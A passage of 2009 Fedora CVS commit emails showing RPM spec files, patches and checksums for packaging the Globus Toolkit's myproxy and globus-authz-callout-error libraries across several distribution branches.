    /sbin/service myproxy-server stop >/dev/null 2>&1
    /sbin/chkconfig --del myproxy-server
fi

%postun server
if [ "$1" -ge "1" ] ; then
    /sbin/service myproxy-server condrestart >/dev/null 2>&1 || :
fi


%files
%defattr(-,root,root,-)
%{_datadir}/globus/packages/%{name}

%doc %{_defaultdocdir}/%{name}-%{version}

%{_libdir}/libmyproxy.so.4
%{_libdir}/libmyproxy.so.4.0.8

%files client
%defattr(-,root,root,-)
%{_bindir}/myproxy-change-pass-phrase
%{_bindir}/myproxy-destroy
%{_bindir}/myproxy-get-delegation
%{_bindir}/myproxy-get-trustroots
%{_bindir}/myproxy-info
%{_bindir}/myproxy-init
%{_bindir}/myproxy-logon
%{_bindir}/myproxy-retrieve
%{_bindir}/myproxy-store

%{_mandir}/man1/myproxy-change-pass-phrase.1.gz
%{_mandir}/man1/myproxy-destroy.1.gz
%{_mandir}/man1/myproxy-get-delegation.1.gz
%{_mandir}/man1/myproxy-info.1.gz
%{_mandir}/man1/myproxy-init.1.gz
%{_mandir}/man1/myproxy-logon.1.gz
%{_mandir}/man1/myproxy-retrieve.1.gz
%{_mandir}/man1/myproxy-store.1.gz

%files server
%defattr(-,root,root,-)
%{_sbindir}/myproxy-server
%{_initddir}/myproxy-server
%config(noreplace)    %{_sysconfdir}/myproxy-server.config
%config(noreplace)    %{_sysconfdir}/sysconfig/myproxy-server
# myproxy-server wants exactly 700 permission on its data 
# which is just fine.
%attr(0700,myproxy,myproxy) %dir %{_var}/lib/myproxy
%dir %{_sysconfdir}/grid-security
%dir %{_sysconfdir}/grid-security/myproxy

%{_mandir}/man8/myproxy-server.8.gz
%{_mandir}/man5/myproxy-server.config.5.gz

%doc README.Fedora

%files admin
%defattr(-,root,root,-)
%{_sbindir}/myproxy-admin-addservice
%{_sbindir}/myproxy-admin-adduser
%{_sbindir}/myproxy-admin-change-pass
%{_sbindir}/myproxy-admin-load-credential
%{_sbindir}/myproxy-admin-query
%{_sbindir}/myproxy-replicate
%{_sbindir}/myproxy-server-setup
%{_sbindir}/myproxy-test
%{_sbindir}/myproxy-test-replicate
%{_mandir}/man8/myproxy-admin-addservice.8.gz
%{_mandir}/man8/myproxy-admin-adduser.8.gz
%{_mandir}/man8/myproxy-admin-change-pass.8.gz
%{_mandir}/man8/myproxy-admin-load-credential.8.gz
%{_mandir}/man8/myproxy-admin-query.8.gz
%{_mandir}/man8/myproxy-replicate.8.gz

%files doc
%defattr(-,root,root,-)
%doc %{_defaultdocdir}/%{name}-doc-%{version}

%files devel
%defattr(-,root,root,-)
%{_includedir}/globus/myproxy.h
%{_includedir}/globus/myproxy_authorization.h
%{_includedir}/globus/myproxy_constants.h
%{_includedir}/globus/myproxy_creds.h
%{_includedir}/globus/myproxy_delegation.h
%{_includedir}/globus/myproxy_log.h
%{_includedir}/globus/myproxy_protocol.h
%{_includedir}/globus/myproxy_read_pass.h
%{_includedir}/globus/myproxy_sasl_client.h
%{_includedir}/globus/myproxy_sasl_server.h
%{_includedir}/globus/myproxy_server.h
%{_includedir}/globus/verror.h
%{_libdir}/libmyproxy.so
%{_libdir}/pkgconfig/myproxy.pc

%changelog
* Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
- Add ASL 2.0 license as well.
- Explicitly add /etc/grid-security to files list
- For .el4/5 build only add globus-gss-assist-devel as requirment 
  to myproxy-devel package.
* Thu Oct 1 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-3
- Set _initddir for .el4 and .el5 building.
* Mon Sep 21 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-2
- Require version of voms with fixed ABI.
* Sun Sep 10 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-1
- Increase version to upstream 4.8
- Remove  voms-header-location.patch since fixed upstream now.
- Include directory /etc/grid-security/myproxy
* Mon Jun 22 2009 Steve Traylen <steve.traylen at cern.ch> -  4.7-1
- Initial version.



--- NEW FILE myproxy.sysconfig ---
# Any environment for MyProxy Startup.

# Override these defaults here.
## MYPROXY_USER=myproxy
## MYPROXY_OPTIONS="-s /var/lib/myproxy"
## X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
## X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:08:18 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:15:54 -0000	1.2
@@ -0,0 +1 @@
+myproxy-4.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:08:18 -0000	1.1
+++ sources	11 Oct 2009 06:15:54 -0000	1.2
@@ -0,0 +1 @@
+85f29d553bfec5fa5f2042440542524f  myproxy-4.8.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:31:59 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:31:59 +0000 (UTC)
Subject: rpms/globus-authz-callout-error/devel
	globus-authz-callout-error.patch, NONE,
	1.1 globus-authz-callout-error.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011063159.89AC411C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz-callout-error/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13952/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz-callout-error.patch 
	globus-authz-callout-error.spec import.log 
Log Message:
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


globus-authz-callout-error.patch:
 pkg_data_src.gpt.in |    7 -------
 1 file changed, 7 deletions(-)

--- NEW FILE globus-authz-callout-error.patch ---
diff -ur globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in
--- globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in	2007-08-03 22:59:33.000000000 +0200
+++ globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in	2009-08-07 05:53:17.037860285 +0200
@@ -21,13 +21,6 @@
                 </Version>
             </Dependency>
         </Source_Dependencies>
-        <Source_Dependencies Type="pgm_link" >
-            <Dependency Name="globus_common" >
-                <Version >
-                    <Simple_Version Major="3" />
-                </Version>
-            </Dependency>
-        </Source_Dependencies>
         <Build_Environment >
             <cflags >@GPT_PKG_CFLAGS@</cflags>
             <external_includes >@GPT_EXTERNAL_INCLUDES@</external_includes>


--- NEW FILE globus-authz-callout-error.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz-callout-error
%global _name %(tr - _ <<< %{name})
Version:	0.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz error library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/error globus_authz_callout_error-0.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz_callout_error-0.4
#		tar -zcf globus_authz_callout_error-0.4.tar.gz globus_authz_callout_error-0.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Remove extra packaging metadata:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6832
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz error library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3

%package doc
Summary:	Globus Toolkit - Globus authz error library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz error library (used by globus authz callouts)

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz error library (used by globus authz callouts) Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz error library (used by globus authz callouts) Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-callout-error-0_4-1_fc11:HEAD:globus-authz-callout-error-0.4-1.fc11.src.rpm:1255242691


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:14:39 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:31:56 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz_callout_error-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:14:40 -0000	1.1
+++ sources	11 Oct 2009 06:31:56 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+02e46802cccf678d609340e14c8c9004  globus_authz_callout_error-0.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:37:47 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:37:47 +0000 (UTC)
Subject: rpms/globus-authz-callout-error/F-11
	globus-authz-callout-error.patch, 
	NONE, 1.1 globus-authz-callout-error.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011063747.8CA8111C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz-callout-error/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16932/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz-callout-error.patch 
	globus-authz-callout-error.spec import.log 
Log Message:
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


globus-authz-callout-error.patch:
 pkg_data_src.gpt.in |    7 -------
 1 file changed, 7 deletions(-)

--- NEW FILE globus-authz-callout-error.patch ---
diff -ur globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in
--- globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in	2007-08-03 22:59:33.000000000 +0200
+++ globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in	2009-08-07 05:53:17.037860285 +0200
@@ -21,13 +21,6 @@
                 </Version>
             </Dependency>
         </Source_Dependencies>
-        <Source_Dependencies Type="pgm_link" >
-            <Dependency Name="globus_common" >
-                <Version >
-                    <Simple_Version Major="3" />
-                </Version>
-            </Dependency>
-        </Source_Dependencies>
         <Build_Environment >
             <cflags >@GPT_PKG_CFLAGS@</cflags>
             <external_includes >@GPT_EXTERNAL_INCLUDES@</external_includes>


--- NEW FILE globus-authz-callout-error.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz-callout-error
%global _name %(tr - _ <<< %{name})
Version:	0.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz error library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/error globus_authz_callout_error-0.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz_callout_error-0.4
#		tar -zcf globus_authz_callout_error-0.4.tar.gz globus_authz_callout_error-0.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Remove extra packaging metadata:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6832
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz error library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3

%package doc
Summary:	Globus Toolkit - Globus authz error library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz error library (used by globus authz callouts)

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz error library (used by globus authz callouts) Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz error library (used by globus authz callouts) Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-callout-error-0_4-1_fc11:F-11:globus-authz-callout-error-0.4-1.fc11.src.rpm:1255243022


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:14:39 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:37:46 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz_callout_error-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz-callout-error/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:14:40 -0000	1.1
+++ sources	11 Oct 2009 06:37:47 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+02e46802cccf678d609340e14c8c9004  globus_authz_callout_error-0.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:39:39 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:39:39 +0000 (UTC)
Subject: rpms/globus-authz-callout-error/EL-5
	globus-authz-callout-error.patch, 
	NONE, 1.1 globus-authz-callout-error.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011063940.0504611C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz-callout-error/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17611/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz-callout-error.patch 
	globus-authz-callout-error.spec import.log 
Log Message:
* Fri Aug 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.4-1
- Autogenerated


globus-authz-callout-error.patch:
 pkg_data_src.gpt.in |    7 -------
 1 file changed, 7 deletions(-)

--- NEW FILE globus-authz-callout-error.patch ---
diff -ur globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in
--- globus_authz_callout_error-0.4.orig/pkgdata/pkg_data_src.gpt.in	2007-08-03 22:59:33.000000000 +0200
+++ globus_authz_callout_error-0.4/pkgdata/pkg_data_src.gpt.in	2009-08-07 05:53:17.037860285 +0200
@@ -21,13 +21,6 @@
                 </Version>
             </Dependency>
         </Source_Dependencies>
-        <Source_Dependencies Type="pgm_link" >
-            <Dependency Name="globus_common" >
-                <Version >
-                    <Simple_Version Major="3" />
-                </Version>
-            </Dependency>
-        </Source_Dependencies>
         <Build_Environment >
             <cflags >@GPT_PKG_CFLAGS@</cflags>
             <external_includes >@GPT_EXTERNAL_INCLUDES@</external_includes>


--- NEW FILE globus-authz-callout-error.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz-callout-error
%global _name %(tr - _ <<< %{name})
Version:	0.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz error library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/error globus_authz_callout_error-0.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz_callout_error-0.4
#		tar -zcf globus_authz_callout_error-0.4.tar.gz globus_authz_callout_error-0.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Remove extra packaging metadata:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6832
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz error library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3

%package doc
Summary:	Globus Toolkit - Globus authz error library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz error library (used by globus authz callouts)

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz error library (used by globus authz callouts) Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz error library (used by globus authz callouts) Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
